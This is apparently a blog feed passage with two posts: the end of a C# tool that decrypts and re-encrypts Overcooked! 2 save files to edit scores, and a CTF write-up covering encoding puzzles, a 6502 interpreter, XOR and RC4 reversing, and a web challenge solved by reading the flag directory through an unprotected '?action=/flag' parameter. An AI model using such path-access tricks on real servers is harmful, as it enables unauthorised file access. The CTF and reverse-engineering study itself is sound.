cryptoTransform = rijndaelManaged.CreateEncryptor(bytes, array)) 142 { 143 using (MemoryStream memoryStream = new MemoryStream()) 144 { 145 using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write)) 146 { 147 cryptoStream.Write(deobfuscatedText, start, size); 148 cryptoStream.FlushFinalBlock(); 149 array2 = memoryStream.ToArray(); 150 memoryStream.Close(); 151 cryptoStream.Close(); 152 } 153 } 154 } 155 } 156 catch (Exception ex) 157 { 158 return null; 159 } 160 finally 161 { 162 rijndaelManaged.Clear(); 163 } 164 byte[] array3 = new byte[16 + array2.Length]; 165 Array.Copy(array, array3, 16); 166 Array.Copy(array2, 0, array3, 16, array2.Length); 167 return array3; 168 } 169 170 static void Main(string[] args) 171 { 172 string inputfile = args[0]; 173 string steamid = args[1]; 174 byte[] init_data = File.ReadAllBytes(inputfile); 175 if (Path.GetExtension(inputfile) == \u0026#34;.save\u0026#34;) 176 { 177 byte[] final_data = Deobfuscate(init_data, init_data.Length - 4, steamid); 178 string outputfile = Path.ChangeExtension(inputfile, \u0026#34;.json\u0026#34;); 179 File.WriteAllBytes(outputfile, final_data); 180 } 181 else if (Path.GetExtension(inputfile) == \u0026#34;.json\u0026#34;) 182 { 183 byte[] final_data = Obfuscate(init_data, init_data.Length, steamid); 184 string outputfile = Path.ChangeExtension(inputfile, \u0026#34;.save\u0026#34;); 185 CRC32.Append(ref final_data); 186 File.WriteAllBytes(outputfile, final_data); 187 } 188 } 189 } 190} 写好代码后可以尝试管不管用,我用只有 5 颗星的存档 03 做测试。存档 03 这五颗星分别是来自王座室的三颗星和关卡 1-1 的两颗星,其中关卡 1-1 的历史最高得分是 136。\n下面是存放存档的文件夹。不难猜测,CoopSlot_SaveFile_2.save 是我要修改的存档。\n下面两张图依次是解密后格式化前与格式化后的存档文件。如我的猜测,解密后的存档文件果真是 .json 格式:\n看起来还是很奇怪。似乎需要把所有的反斜线都去掉,并且把上下花括号外的引号都去掉才像是正常的 .json 文件。\n确实,现在参数名称和参数值一一对应。除了 NGPEnabled,其他参数都很好理解。那我现在就要把关卡 1-1(LevelID 为 1)的最高分数设为 514,并且三星通关。现在加密并把它重新塞进游戏,看看效果如何。\n特别需要注意的是,最开始我使用 .NET 8.0 运行这个程序,但是在解密时并不能成功;而相同的代码在 .NET 3.1(原程序使用了 .NET 3.5)可以完美运行,不过程序中使用的 Crc32 类(出现于 .NET 6.0)在 .NET 3.1 中不受支持,于是只好再将 Crc32 类的定义代码抄过来。\n","link":"https://jackgdn.github.io/post/%E4%B8%80%E5%B0%8F%E4%BC%99%E8%A7%89%E5%BE%97-overcooked-2-%E5%A4%AA%E9%9A%BE%E4%BA%8E%E6%98%AF%E4%BB%96/","section":"post","tags":["C#","Reverse"],"title":"修改 Overcooked! 2 存档"},{"body":"题量大,题目难度适中,我挑选关键题目写写 WP\nMisc Tupper 先把文件内容提取并拼接起来:\n1txts = [] 2for i in range(0, 673, 4): 3 path = f\u0026#34;{i}.txt\u0026#34; 4 with open(path, \u0026#39;r\u0026#39;) as file: 5 txts.append(file.read()) 6txts = \u0026#39;\u0026#39;.join(txts) 7print(txts) 得到一段 Base64: MTQyNzgxOTM0MzI3MjgwMjYwNDkyOTg1NzQ1NzU1NTc1MzQzMjEwNjIzNDkzNTI1NDM1NjI2NTY3NjY0Njk3MDQwOTI4NzQ2ODgzNTQ2NzkzNzEyMTI0NDQzODIyOTg4MjEzNDIwOTM0NTAzOTg5MDcwOTY5NzYwMDI0NTg4MDc1OTg1MzU3MzUxNzIxMjY2NTc1MDQxMzExNzE2ODQ5MDcxNzMwODY2NTk1MDUxNDM5MjAzMDAwODU4MDg4MDk2NDcyNTY3OTAzODQzNzg1NTM3ODAyODI4OTQyMzk3NTE4OTg2MjAwNDExNDMzODMzMTcwNjQ3MjcxMzY5MDM2MzQ3NzA5MzYzOTg1MTg1NDc5MDA1MTI1NDg0MTk0ODYzNjQ5MTUzOTkyNTM5NDEyNDU5MTEyMDUyNjI0OTM1OTExNTg0OTc3MDgyMTkxMjY0NTM1ODc0NTY2MzczMDI4ODg3MDEzMDMzODIyMTA3NDg2Mjk4MDAwODE4MjE2ODQyODMxODczNjg1NDM2MDE1NTk3Nzg0MzE3MzUwMDY3OTQ3NjE1NDI0MTMwMDY2MjEyMTkyMDczMjI4MDg0NDkyMzIwNTA1Nzg4NTI0MzEzNjE2Nzg3NDUzNTU3NzY5MjExMzIzNTI0MTk5MzE5MDc4MzgyMDUwMDExODQ=\n解码得到一串数:\n14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184\r根据题目名称可以知道与塔伯自指公式有关。用 Tupper's self-referential fomula 解一下:\nwhere is crazyman 系列 三道社工题,前两道用谷歌识图可以直接找到地点;第三道的图片:\n矿泉水瓶子上有 Boudl Apart' Hotel 字样,根据提示在谷歌地图里找到在 Boudl Al Munsiyah 旁的 Starbucks。flag 在谷歌地图里这一家 Starbucks 的评论区里,按时间顺序查看能找到。\ndevil's word 一查是温州话,听音频把“魔鬼的语言”转成数字 0-9,最后十六进制转字符得到 flag。\n发音 数字 leng 0 lia 2 sa 3 sii 4 ng 5 leu 6 cai 7 bo 8 jau 9 使用某些文本编辑器的 Ctrl+H 一键替换的时候注意,不要把 leng 里的 ng 替换成 5。\nreal check in MJSWO2LOPNLUKTCDJ5GWKX3UN5PUEM2HNFXEGVCGL4ZDAMRUL5EDAUDFL5MU6VK7O5UUYMK7GEYWWZK7NE3X2=== 一眼 Base32\nWeb zupload Web 做不了一点,查资料只做了个签到题。本题的后端没有保护,直接改 ?action=/flag 访问 flag 所在目录。\nReverse 红白机 读 6502 汇编。这玩应有现成的在线工具:Easy 6502\n不过还是自己写了个脚本:\n1def op_LDA(arg): 2 global reg_acc, line_ptr 3 reg_acc = int(arg[-3:], 16) 4 line_ptr += 1 5 6 7def op_LDX(arg): 8 global x_index, line_ptr 9 x_index = int(arg[-3:], 16) 10 line_ptr += 1 11 12 13def op_LDY(arg): 14 global y_index, line_ptr 15 y_index = int(arg[-3:], 16) 16 line_ptr += 1 17 18 19def op_STA(arg): 20 global reg_acc, mem, line_ptr, x_index 21 addr = int(arg.split(\u0026#39;,\u0026#39;)[0][1:], 16) + x_index - 0x200 22 mem[addr] = reg_acc 23 line_ptr += 1 24 25 26def op_INX(arg): 27 global x_index, line_ptr 28 x_index += 1 29 line_ptr += 1 30 31 32def op_CPX(arg): 33 global x_index, line_ptr, reg_cmp 34 param = int(arg[-3:], 16) 35 if param == x_index: 36 reg_cmp = 1 37 else: 38 reg_cmp = 0 39 line_ptr += 1 40 41 42def op_BNE(arg): 43 global reg_cmp, line_ptr, seg_addr, seg_name 44 if reg_cmp: 45 line_ptr += 1 46 else: 47 ind = seg_name.index(arg[0]) 48 line_ptr = seg_addr[ind] 49 50 51op_dict = { # 指令 52 \u0026#34;LDA\u0026#34;: op_LDA, 53 \u0026#34;LDX\u0026#34;: op_LDX, 54 \u0026#34;LDY\u0026#34;: op_LDY, 55 \u0026#34;STA\u0026#34;: op_STA, 56 \u0026#34;INX\u0026#34;: op_INX, 57 \u0026#34;CPX\u0026#34;: op_CPX, 58 \u0026#34;BNE\u0026#34;: op_BNE, 59} 60 61 62line_ptr = 0 # 指令地址指针 63seg_addr = [] # 段地址 64seg_name = [] # 段名称 65mem = [0] * 0x400 # 初始化内存 66x_index = 0 # X 索引寄存器 67y_index = 0 # Y 索引寄存器 68reg_acc = 0 # 累加器 69reg_cmp = 0 # 比较标志位 70 71with open(\u0026#34;6502.txt\u0026#34;, \u0026#39;r\u0026#39;) as asm_6502: 72 73 for line in asm_6502: # 读取段标识 74 if line.strip()[0].islower(): 75 seg_addr.append(line_ptr) 76 seg_name.append(line[0]) 77 line_ptr += 1 78 79 line_ptr = 0 # 从头读取 80 asm_6502.seek(0) 81 lines = asm_6502.readlines() 82 83 while line_ptr \u0026lt; 407: # 运行 84 if lines[line_ptr][0].islower(): # 跳过段标识 85 line_ptr += 1 86 else: 87 opcode = lines[line_ptr][0:3] 88 arg = lines[line_ptr][4:] 89 op_dict[opcode](arg) 90 91 for i in range(len(mem)): # 显示 92 if i % 32 == 0: # 显示器宽度 93 print(\u0026#39;\u0026#39;) 94 if mem[i] == 0: 95 print(\u0026#39;.\u0026#39;, end = \u0026#39; \u0026#39;) 96 else: 97 print(\u0026#39;■\u0026#39;, end = \u0026#39; \u0026#39;) 98 99\u0026#39;\u0026#39;\u0026#39;output: 100. ■ ■ . ■ . . . . . . . . . . . ■ ■ . . . . . . . . . . . . . . 101. ■ . . ■ . . . . . . . . . . . ■ . . . ■ . . ■ ■ ■ . . ■ . . . 102■ ■ ■ . ■ . ■ ■ ■ . . ■ ■ ■ . . ■ . . ■ . ■ . ■ . . . ■ . ■ . . 103. ■ . . ■ . ■ . ■ . . ■ . ■ . ■ ■ . . ■ . . . ■ ■ . . ■ . ■ . . 104. ■ . . ■ . ■ ■ ■ ■ . ■ ■ ■ . . ■ . . ■ ■ ■ . . . ■ . ■ . ■ . . 105. . . . . . . . . . . . . ■ . . ■ . . ■ . ■ . . . ■ . ■ . ■ . . 106. . . . . . . . . . . ■ ■ ■ . . ■ ■ . . ■ . . ■ ■ . . . ■ . . . 107. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108■ ■ ■ . . . . . ■ ■ ■ . . . . . ■ . . . ■ ■ ■ . ■ . ■ . ■ ■ ■ . 109. . ■ . . . . . . ■ . . . . . . ■ . . . ■ . ■ . ■ . ■ . ■ . . . 110. ■ ■ . . . . . . ■ . . . . . . ■ . . . ■ . ■ . ■ . ■ . ■ ■ ■ . 111■ ■ . . . . . . . ■ . . . . . . ■ . . . ■ . ■ . ■ . ■ . ■ . . . 112■ . . . . . . . . ■ . . . . . . ■ . . . ■ . ■ . ■ . ■ . ■ . . . 113■ ■ ■ . ■ ■ ■ . ■ ■ ■ . ■ ■ ■ . ■ ■ ■ . ■ ■ ■ . . ■ . . ■ ■ ■ . 114. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116. . . . . . . . ■ ■ . . . . . . . . . . . . . . . . . . . . . . 117. . . . . . . . . ■ . . . . . . . . . . . . . . . . . . . . . . 118. . . . . . . . . ■ . . . . . . . . . . . . . . . . . . . . . . 119. . . . ■ . ■ . . ■ ■ . . . . . . . . . . . . . . . . . . . . . 120. . . . ■ . ■ . . ■ . . . . . . . . . . . . . . . . . . . . . . 121. . . . ■ . ■ . . ■ . . . . . . . . . . . . . . . . . . . . . . 122■ ■ ■ . ■ ■ ■ . ■ ■ . . . . . . . . . . . . . . . . . . . . . . 123. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132\u0026#39;\u0026#39;\u0026#39; 算是手搓个小小解释器吧。\nXor 查出来有 UPX 壳,先脱壳放进 IDA。\n在最后比较字符串的地方找到了一个加密过的 flag:\n加密过程如下:\n……\n加密过程过于繁琐,豁免还有几个类似加密逻辑。先尝试动调,试着输入密文,竟发现:\n难绷,非预期了()\n俄语学习 最开始有 30 道俄语题目,不会用 pwntools,遂手自笔录到最后一步。\n最后这里对输入的内容有 sub_43AFAA() 和 sub_43A555() 两次操作。\nsub_43AFAA() 中调用 sub_4419E0() 生成一个船新的字符串 byte_4CB1E8,随后在 sub_441B00() 中做了一次 Xor Swap,RC4 中的第三个步骤加密即是 Xor Swap。\nsub_43A555() 中有一个字符串比较的操作,随后在 sub_43CBC0() 中同样调用 sub_441B00()。\n关键就在 byte_4CB1E8[i] = Str[i] + byte_4CAEE8[i] - 112; 这一句,动调之后能看见 byte_4CAEE8,于是上脚本:\n1\u0026gt;\u0026gt;\u0026gt; cip1 = \u0026#34;+i\u0026amp;[@Y:g8[\u0026amp;l$f8S8v$Y\u0026amp;e\u0026gt;{\u0026#34; 2\u0026gt;\u0026gt;\u0026gt; cip2 = [0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 0x35, 0x62, 0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 0x35, 0x62, 0x35, 0x6E, 0x35, 0x6D, 0x35, 0x64, 0x35, 0x77, 0x35, 0x64, 0x35, 0x62, 0x35, 0x6E, 0x8E] 3\u0026gt;\u0026gt;\u0026gt; for i in range(len(cip1)): 4... print(chr(ord(cip1[i]) + 112 - cip2[i]), end = \u0026#39;\u0026#39;) 5... 6flag{Russian_is_so_easy} stick game 最绷不住的一题,本来是一血的,结果题目下了()\n附件里的 Javascript 脚本里边有这么一坨:\n1function _0x3339(_0xc5a7d3,_0x197349){const _0x4be1b2=_0x271a();return _0x3339=function(_0x5f266e,_0x306e60){_0x5f266e=_0x5f266e-(0x1*-0x159c+-0x5*-0x69b+0x9*-0x10e);let _0x97d2a2=_0x4be1b2[_0x5f266e];if(_0x3339[\u0026#39;vsEbbX\u0026#39;]===undefined){var _0x4e47ab=function(_0x504f68){const _0x55694b=\u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=\u0026#39;;let _0x4868cb=\u0026#39;\u0026#39;,_0x5f5158=\u0026#39;\u0026#39;;for(let _0x288bde=-0x1275+-0x96f*-0x4+0xeb*-0x15,_0x5400b3,_0x1abc9a,_0x5b8a10=-0x1715*-0x1+-0x2413+0xcfe;_0x1abc9a=_0x504f68[\u0026#39;charAt\u0026#39;](_0x5b8a10++);~_0x1abc9a\u0026amp;\u0026amp;(_0x5400b3=_0x288bde%(0xc*-0x27e+0x2*0xc11+-0x2*-0x2e5)?_0x5400b3*(0x1795*0x1+0x3*0x3b+-0x802*0x3)+_0x1abc9a:_0x1abc9a,_0x288bde++%(0x611+-0x70e+0x101))?_0x4868cb+=String[\u0026#39;fromCharCode\u0026#39;](-0x1bd9+-0x114a*0x2+-0x386*-0x12\u0026amp;_0x5400b3\u0026gt;\u0026gt;(-(-0xdcf+-0x5*0x51b+0x2758)*_0x288bde\u0026amp;0x22b7+-0x2548+0x3*0xdd)):-0x4*0x765+-0xe07+0x2b9b){_0x1abc9a=_0x55694b[\u0026#39;indexOf\u0026#39;](_0x1abc9a);}for(let _0x4deb0f=-0x11cf+-0x1b73*0x1+0x2*0x16a1,_0x529665=_0x4868cb[\u0026#39;length\u0026#39;];_0x4deb0f\u0026lt;_0x529665;_0x4deb0f++){_0x5f5158+=\u0026#39;%\u0026#39;+(\u0026#39;00\u0026#39;+_0x4868cb[\u0026#39;charCodeAt\u0026#39;](_0x4deb0f)[\u0026#39;toString\u0026#39;](0x14b*-0xa+0x1bd8+-0x76d*0x2))[\u0026#39;slice\u0026#39;](-(-0x10d5+0x1*0x265+0xe72));}return decodeURIComponent(_0x5f5158);};const _0x11fa5a=function(_0x4173dc,_0x5da0bd){let _0x48d668=[],_0x20d9fc=0xa31*0x1+0x252d*0x1+-0x2f5e,_0x1ab256,_0x59d767=\u0026#39;\u0026#39;;_0x4173dc=_0x4e47ab(_0x4173dc);let _0x15c31e;for(_0x15c31e=0x18e3*-0x1+0x12ff+0x5e4;_0x15c31e\u0026lt;-0x26f9+-0xb*-0x1fd+0x121a;_0x15c31e++){_0x48d668[_0x15c31e]=_0x15c31e;}for(_0x15c31e=-0x17bc+0x415+0x13a7;_0x15c31e\u0026lt;-0xa46+-0x1207+-0x1*-0x1d4d;_0x15c31e++){_0x20d9fc=(_0x20d9fc+_0x48d668[_0x15c31e]+_0x5da0bd[\u0026#39;charCodeAt\u0026#39;](_0x15c31e%_0x5da0bd[\u0026#39;length\u0026#39;]))%(0x1c5f+0x267b+-0x41da),_0x1ab256=_0x48d668[_0x15c31e],_0x48d668[_0x15c31e]=_0x48d668[_0x20d9fc],_0x48d668[_0x20d9fc]=_0x1ab256;}_0x15c31e=0x1450+0x139*0x5+-0x1a6d,_0x20d9fc=0x250e+-0x1*0x12fd+-0x1211;for(let _0x786500=-0x4*0x2e8+-0x452*-0x4+-0x5a8;_0x786500\u0026lt;_0x4173dc[\u0026#39;length\u0026#39;];_0x786500++){_0x15c31e=(_0x15c31e+(0x127a+-0xd*0x2f1+0x16*0xe6))%(0x1b69+0x10d*-0x25+0x54*0x26),_0x20d9fc=(_0x20d9fc+_0x48d668[_0x15c31e])%(0x144b+0xbf8+0x1f43*-0x1),_0x1ab256=_0x48d668[_0x15c31e],_0x48d668[_0x15c31e]=_0x48d668[_0x20d9fc],_0x48d668[_0x20d9fc]=_0x1ab256,_0x59d767+=String[\u0026#39;fromCharCode\u0026#39;](_0x4173dc[\u0026#39;charCodeAt\u0026#39;](_0x786500)^_0x48d668[(_0x48d668[_0x15c31e]+_0x48d668[_0x20d9fc])%(0x21b5+0x780+-0x2835)]);}return _0x59d767;};_0x3339[\u0026#39;fKEsSz\u0026#39;]=_0x11fa5a,_0xc5a7d3=arguments,_0x3339[\u0026#39;vsEbbX\u0026#39;]=!![];}const _0xdaf7a0=_0x4be1b2[0x1a7c+0x13a3*-0x1+-0x6d9],_0xe679c5=_0x5f266e+_0xdaf7a0,_0x223335=_0xc5a7d3[_0xe679c5];return!_0x223335?(_0x3339[\u0026#39;wQPYZX\u0026#39;]===undefined\u0026amp;\u0026amp;(_0x3339[\u0026#39;wQPYZX\u0026#39;]=!![]),_0x97d2a2=_0x3339[\u0026#39;fKEsSz\u0026#39;](_0x97d2a2,_0x306e60),_0xc5a7d3[_0xe679c5]=_0x97d2a2):_0x97d2a2=_0x223335,_0x97d2a2;},_0x3339(_0xc5a7d3,_0x197349);}(function(_0x56cb23,_0xed8547){const _0x18ee5d=_0x3339,_0x1e59ec=_0x56cb23();while(!![]){try{const _0x1325e2=-parseInt(_0x18ee5d(0x20d,\u0026#39;*!up\u0026#39;))/(-0x6a3*0x1+0x7b6+0x2*-0x89)*(parseInt(_0x18ee5d(0x2b8,\u0026#39;RTq]\u0026#39;))/(-0x1a9a+-0x19ac+-0x4*-0xd12))+parseInt(_0x18ee5d(0x276,\u0026#39;Ur3M\u0026#39;))/(0x90e+-0x47*0x30+-0x1*-0x445)*(-parseInt(_0x18ee5d(0x299,\u0026#39;Lj5i\u0026#39;))/(-0x22bd+-0x1*-0xdf+-0x10f1*-0x2))+parseInt(_0x18ee5d(0x286,\u0026#39;bK)(\u0026#39;))/(-0x1190+0x1*-0x220f+0x33a4)*(-parseInt(_0x18ee5d(0x287,\u0026#39;P0I8\u0026#39;))/(0xae+-0x7e5*0x2+0xf22))+-parseInt(_0x18ee5d(0x292,\u0026#39;*!up\u0026#39;))/(-0x1*-0x545+0x146a+0xcd4*-0x2)+-parseInt(_0x18ee5d(0x291,\u0026#39;B*#j\u0026#39;))/(-0xc83*0x1+0x17*-0x11a+0x25e1)*(-parseInt(_0x18ee5d(0x247,\u0026#39;a8v%\u0026#39;))/(-0x1ed3+0xb69*-0x2+0x1ad7*0x2))+-parseInt(_0x18ee5d(0x2a0,\u0026#39;D93x\u0026#39;))/(0x22bb+-0xa34*0x1+-0x187d)+parseInt(_0x18ee5d(0x23a,\u0026#39;euu1\u0026#39;))/(-0x10db+0xadd+-0x1*-0x609);if(_0x1325e2===_0xed8547)break;else _0x1e59ec[\u0026#39;push\u0026#39;](_0x1e59ec[\u0026#39;shift\u0026#39;]());}catch(_0x386714){_0x1e59ec[\u0026#39;push\u0026#39;](_0x1e59ec[\u0026#39;shift\u0026#39;]());}}}(_0x271a,-0xa4*-0x2aeb+-0x107909+0x3ec97),(function(){const _0x308b56=_0x3339,_0x52eac5={\u0026#39;EhRTr\u0026#39;:_0x308b56(0x253,\u0026#39;dm1K\u0026#39;)+_0x308b56(0x26e,\u0026#39;dm1K\u0026#39;),\u0026#39;kFogs\u0026#39;:_0x308b56(0x220,\u0026#39;XFw5\u0026#39;)+_0x308b56(0x22a,\u0026#39;5HLR\u0026#39;)+_0x308b56(0x283,\u0026#39;bK)(\u0026#39;)+_0x308b56(0x1f9,\u0026#39;t]@A\u0026#39;),\u0026#39;vSevM\u0026#39;:function(_0x235a00,_0x2ea75d){return _0x235a00(_0x2ea75d);},\u0026#39;OqHIS\u0026#39;:_0x308b56(0x202,\u0026#39;t]@A\u0026#39;),\u0026#39;QSAON\u0026#39;:function(_0x2ef78c,_0xca8978){return _0x2ef78c+_0xca8978;},\u0026#39;kZXWE\u0026#39;:_0x308b56(0x2bf,\u0026#39;dm1K\u0026#39;),\u0026#39;iOTog\u0026#39;:_0x308b56(0x1f8,\u0026#39;B*#j\u0026#39;),\u0026#39;ZAfQh\u0026#39;:function(_0x3b572b){return _0x3b572b();},\u0026#39;RUNZw\u0026#39;:function(_0x52df0c,_0x5865a2,_0x5794b1){return _0x52df0c(_0x5865a2,_0x5794b1);},\u0026#39;slyqV\u0026#39;:_0x308b56(0x22d,\u0026#39;dA#l\u0026#39;),\u0026#39;BzoKk\u0026#39;:_0x308b56(0x2a7,\u0026#39;5LZW\u0026#39;),\u0026#39;gmbzr\u0026#39;:function(_0x11c452,_0x57d0fc){return _0x11c452/_0x57d0fc;},\u0026#39;MpeHA\u0026#39;:function(_0x175f0e,_0x3ae62d){return _0x175f0e-_0x3ae62d;},\u0026#39;ndQmA\u0026#39;:_0x308b56(0x28e,\u0026#39;5HLR\u0026#39;),\u0026#39;GNiWK\u0026#39;:function(_0x4dea5c,_0x4b1649){return _0x4dea5c/_0x4b1649;},\u0026#39;uYZdk\u0026#39;:function(_0x451719,_0x4d2a0d){return _0x451719\u0026gt;_0x4d2a0d;},\u0026#39;SQqRY\u0026#39;:_0x308b56(0x210,\u0026#39;fEoa\u0026#39;)+_0x308b56(0x246,\u0026#39;tjJU\u0026#39;),\u0026#39;LnBhB\u0026#39;:function(_0x5335b2){return _0x5335b2();},\u0026#39;fHBqJ\u0026#39;:function(_0x3747e4){return _0x3747e4();},\u0026#39;exgXD\u0026#39;:_0x308b56(0x22c,\u0026#39;a75U\u0026#39;),\u0026#39;znGtf\u0026#39;:function(_0x4de0c7,_0x27d2c3){return _0x4de0c7/_0x27d2c3;},\u0026#39;OALlD\u0026#39;:function(_0x59141c){return _0x59141c();},\u0026#39;mZiDl\u0026#39;:function(_0xc634e5,_0x1193bd){return _0xc634e5+_0x1193bd;},\u0026#39;gjfUb\u0026#39;:_0x308b56(0x221,\u0026#39;]Udf\u0026#39;)+_0x308b56(0x298,\u0026#39;*!up\u0026#39;),\u0026#39;YgIGj\u0026#39;:function(_0x3ec1bd,_0xcd69c1){return _0x3ec1bd+_0xcd69c1;},\u0026#39;CCHCR\u0026#39;:function(_0x416100,_0x33db7a){return _0x416100+_0x33db7a;},\u0026#39;zHsVl\u0026#39;:_0x308b56(0x29a,\u0026#39;^Bu%\u0026#39;),\u0026#39;zgyPL\u0026#39;:function(_0x4048e5,_0x40930e){return _0x4048e5/_0x40930e;},\u0026#39;vxtVH\u0026#39;:function(_0x346552,_0x45d61a){return _0x346552-_0x45d61a;},\u0026#39;Arrgu\u0026#39;:function(_0xd88875,_0x11e4b8){return _0xd88875-_0x11e4b8;},\u0026#39;GyAQK\u0026#39;:function(_0x41ae1a,_0x1fe7fe){return _0x41ae1a+_0x1fe7fe;},\u0026#39;jUqPs\u0026#39;:function(_0x1541d1,_0x51f672){return _0x1541d1\u0026lt;_0x51f672;},\u0026#39;AexTD\u0026#39;:function(_0x42e7a1,_0x3b582e){return _0x42e7a1-_0x3b582e;},\u0026#39;bIMaZ\u0026#39;:function(_0x5ab1a4,_0x79b265){return _0x5ab1a4/_0x79b265;},\u0026#39;gcQLV\u0026#39;:function(_0x3a9735,_0x3209c3){return _0x3a9735-_0x3209c3;},\u0026#39;TDkZi\u0026#39;:function(_0x189284,_0x33cdf7){return _0x189284\u0026gt;=_0x33cdf7;},\u0026#39;Wdret\u0026#39;:_0x308b56(0x29f,\u0026#39;a75U\u0026#39;)+_0x308b56(0x218,\u0026#39;RTq]\u0026#39;)+_0x308b56(0x2c6,\u0026#39;6Ko7\u0026#39;)+_0x308b56(0x256,\u0026#39;RZQs\u0026#39;)+_0x308b56(0x279,\u0026#39;Ye)S\u0026#39;)+_0x308b56(0x200,\u0026#39;8Q\u0026amp;f\u0026#39;)+\u0026#39;5}\u0026#39;,\u0026#39;VxtbI\u0026#39;:_0x308b56(0x29c,\u0026#39;t]@A\u0026#39;),\u0026#39;GRrEE\u0026#39;:_0x308b56(0x26a,\u0026#39;bK)(\u0026#39;)+\u0026#39;e\u0026#39;,\u0026#39;USQaK\u0026#39;:function(_0x3d02c8){return _0x3d02c8();},\u0026#39;fiSOb\u0026#39;:_0x308b56(0x2ba,\u0026#39;Ur3M\u0026#39;)+_0x308b56(0x20c,\u0026#39;a8v%\u0026#39;)+_0x308b56(0x2a1,\u0026#39;ENZE\u0026#39;)+_0x308b56(0x20e,\u0026#39;itU6\u0026#39;)+_0x308b56(0x27a,\u0026#39;MT*D\u0026#39;)+_0x308b56(0x263,\u0026#39;MT*D\u0026#39;)+_0x308b56(0x209,\u0026#39;ezI0\u0026#39;)+_0x308b56(0x1f4,\u0026#39;t]@A\u0026#39;),\u0026#39;iwhST\u0026#39;:function(_0x308db1){return _0x308db1();},\u0026#39;idVYK\u0026#39;:function(_0x12d784){return _0x12d784();},\u0026#39;RPiDd\u0026#39;:function(_0x454974,_0x150af3){return _0x454974+_0x150af3;},\u0026#39;OMpyB\u0026#39;:function(_0x36c11d){return _0x36c11d();},\u0026#39;eDXUY\u0026#39;:function(_0x3a811d){return _0x3a811d();},\u0026#39;RLhuh\u0026#39;:function(_0x2dfc11){return _0x2dfc11();},\u0026#39;anOcA\u0026#39;:function(_0x18f562){return _0x18f562();},\u0026#39;SAccn\u0026#39;:_0x308b56(0x225,\u0026#39;BW0h\u0026#39;)},_0x1f601f=(function(){let _0x4d0af0=!![];return function(_0x51009e,_0x166e32){const _0x371342=_0x4d0af0?function(){const _0x6ab774=_0x3339;if(_0x166e32){const _0x380d67=_0x166e32[_0x6ab774(0x24f,\u0026#39;n1#6\u0026#39;)](_0x51009e,arguments);return _0x166e32=null,_0x380d67;}}:function(){};return _0x4d0af0=![],_0x371342;};}());(function(){const _0x44162e=_0x308b56,_0x224f5c={\u0026#39;jzGoq\u0026#39;:_0x52eac5[_0x44162e(0x266,\u0026#39;[(5W\u0026#39;)],\u0026#39;brIEg\u0026#39;:_0x52eac5[_0x44162e(0x20a,\u0026#39;q!6(\u0026#39;)],\u0026#39;puohs\u0026#39;:function(_0x211ebb,_0x3dbfcb){const _0x4ab761=_0x44162e;return _0x52eac5[_0x4ab761(0x2c3,\u0026#39;8Q\u0026amp;f\u0026#39;)](_0x211ebb,_0x3dbfcb);},\u0026#39;CGrSR\u0026#39;:_0x52eac5[_0x44162e(0x1ed,\u0026#39;PDC0\u0026#39;)],\u0026#39;oBgMA\u0026#39;:function(_0x46549a,_0x3b8843){const _0x2ee089=_0x44162e;return _0x52eac5[_0x2ee089(0x234,\u0026#39;ezI0\u0026#39;)](_0x46549a,_0x3b8843);},\u0026#39;YQRSZ\u0026#39;:_0x52eac5[_0x44162e(0x2c0,\u0026#39;qcm2\u0026#39;)],\u0026#39;IYvua\u0026#39;:function(_0x2ec52a,_0x4e0998){const _0x59c596=_0x44162e;return _0x52eac5[_0x59c596(0x203,\u0026#39;hv\u0026amp;k\u0026#39;)](_0x2ec52a,_0x4e0998);},\u0026#39;WpokC\u0026#39;:_0x52eac5[_0x44162e(0x275,\u0026#39;6Ko7\u0026#39;)],\u0026#39;cBwSZ\u0026#39;:function(_0x956a27){const _0x4cbe06=_0x44162e;return _0x52eac5[_0x4cbe06(0x1fb,\u0026#39;n1#6\u0026#39;)](_0x956a27);}};_0x52eac5[_0x44162e(0x24c,\u0026#39;ENZE\u0026#39;)](_0x1f601f,this,function(){const _0x177f71=_0x44162e,_0x3bf1f5=new RegExp(_0x224f5c[_0x177f71(0x24b,\u0026#39;909%\u0026#39;)]),_0x3d78c3=new RegExp(_0x224f5c[_0x177f71(0x2b0,\u0026#39;909%\u0026#39;)],\u0026#39;i\u0026#39;),_0x7ff872=_0x224f5c[_0x177f71(0x267,\u0026#39;]Udf\u0026#39;)](_0x31b643,_0x224f5c[_0x177f71(0x1fd,\u0026#39;dm1K\u0026#39;)]);!_0x3bf1f5[_0x177f71(0x214,\u0026#39;qcm2\u0026#39;)](_0x224f5c[_0x177f71(0x2ac,\u0026#39;fEoa\u0026#39;)](_0x7ff872,_0x224f5c[_0x177f71(0x2af,\u0026#39;ezI0\u0026#39;)]))||!_0x3d78c3[_0x177f71(0x26c,\u0026#39;XFw5\u0026#39;)](_0x224f5c[_0x177f71(0x230,\u0026#39;P0I8\u0026#39;)](_0x7ff872,_0x224f5c[_0x177f71(0x2ad,\u0026#39;q!6(\u0026#39;)]))?_0x224f5c[_0x177f71(0x2c7,\u0026#39;qcm2\u0026#39;)](_0x7ff872,\u0026#39;0\u0026#39;):_0x224f5c[_0x177f71(0x222,\u0026#39;FmLR\u0026#39;)](_0x31b643);})();}()),realScore